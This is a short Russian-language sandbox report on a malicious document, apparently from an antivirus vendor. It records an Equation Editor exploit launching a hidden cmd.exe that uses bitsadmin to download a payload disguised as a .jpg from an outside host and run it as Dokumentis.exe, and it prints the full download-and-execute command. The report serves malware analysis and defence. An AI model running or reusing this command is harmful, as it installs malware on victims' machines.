Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /transfer ba /priority foreground https://d.coka.la/WOSwUp.jpg %USERPROFILE%\Dokumentis.exe && start %USERPROFILE%\Dokumentis.exe
Сетевая активность
TCP
- 'd.##ka.la':443
UDP
- DNS ASK d.##ka.la
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /transfer ba /priority foreground https://d.coka.la/WOSwUp.jpg %USERPROFILE%\Dokumentis.exe && start %USERPROFILE%\Dokumentis.exe' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\bitsadmin.exe' /transfer ba /priority foreground https://d.coka.la/WOSwUp.jpg %HOMEPATH%\Dokumentis.exe
